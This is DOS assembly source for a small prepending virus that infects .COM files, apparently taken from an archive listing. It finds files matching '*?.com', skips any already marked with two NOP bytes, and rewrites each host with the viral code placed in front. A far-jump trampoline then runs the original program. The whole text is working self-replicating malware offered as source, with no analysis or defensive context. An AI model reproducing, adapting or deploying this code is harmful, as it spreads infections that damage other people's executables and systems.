home *** CD-ROM | disk | FTP | other *** search
- .model tiny
-
- .code
-
- org 100h
-
- kkk:
-
- nop ; ID
-
- nop ; ID
-
-
-
- mov cx,80h
-
- mov si,0080h
-
- mov di,0ff7fh
-
- rep movsb ; save param
-
-
-
- lea ax,begp ; begin prog
-
- mov cx,ax
-
- sub ax,100h
-
- mov ds:[0fah],ax ; len VIR
-
- add cx,fso
-
- mov ds:[0f8h],cx ; begin buffer W
-
- ADD CX,AX
-
- mov ds:[0f6h],cx ; begin buffer R
-
-
-
- mov cx,ax
-
- lea si,kkk
-
- mov di,ds:[0f8h]
-
- RB: REP MOVSB ; move v
-
-
-
- stc
-
-
-
- LEA DX,FFF
-
- MOV AH,4EH
-
- MOV CX,20H
-
- INT 21H ; find first
-
-
-
- or ax,ax
-
- jz LLL
-
- jmp done
-
-
-
- LLL:
-
- MOV AH,2FH
-
- INT 21H ; get DTA
-
-
-
- mov ax,es:[bx+1ah]
-
- mov ds:[0fch],ax ; size
-
- add bx,1eh
-
- mov ds:[0feh],bx ; point to name
-
-
-
- clc
-
- mov ax,3d02h
-
- mov dx,bx
-
- int 21h ; open file
-
-
-
- mov bx,ax
-
- mov ah,3fh
-
- mov cx,ds:[0fch]
-
- mov dx,ds:[0f6h]
-
- int 21h ; read file
-
-
-
- mov bx,dx
-
- mov ax,[bx]
-
- sub ax,9090h
-
- jz fin
-
-
-
-
-
- MOV AX,ds:[0fch]
-
- mov bx,ds:[0f6h]
-
- mov [bx-2],ax ; correct old len
-
-
-
- mov ah,3ch
-
- mov cx,00h
-
- mov dx,ds:[0feh] ; point to name
-
- clc
-
- int 21h ; create file
-
-
-
- mov bx,ax ; #
-
- mov ah,40h
-
- mov cx,ds:[0fch]
-
- add cx,ds:[0fah]
-
- mov DX,ds:[0f8h]
-
- int 21h ; write file
-
-
-
-
-
- mov ah,3eh
-
- int 21h ;close file
-
-
-
- FIN:
-
- stc
-
- mov ah,4fh
-
- int 21h ; find next
-
-
-
- or ax,ax
-
- jnz done
-
-
-
- JMP lll
-
-
-
- DONE:
-
-
-
- mov cx,80h
-
- mov si,0ff7fh
-
- mov di,0080h
-
- rep movsb ; restore param
-
-
-
- MOV AX,0A4F3H
-
- mov ds:[0fff9h],ax
-
- mov al,0eah
-
- mov ds:[0fffbh],al
-
- mov ax,100h
-
- mov ds:[0fffch],ax
-
- lea si,begp
-
- lea di,kkk
-
- mov ax,cs
-
- mov ds:[0fffeh],ax
-
- mov kk,ax
-
- mov cx,fso
-
-
-
- db 0eah
-
- dw 0fff9h
-
- kk dw 0000h
-
-
-
- fff db '*?.com',0
-
- fso dw 0005h ; ----- alma mater
-
-
-
-
-
- begp:
-
- MOV AX,4C00H
-
- int 21h ; exit
-
-
-
- end kkk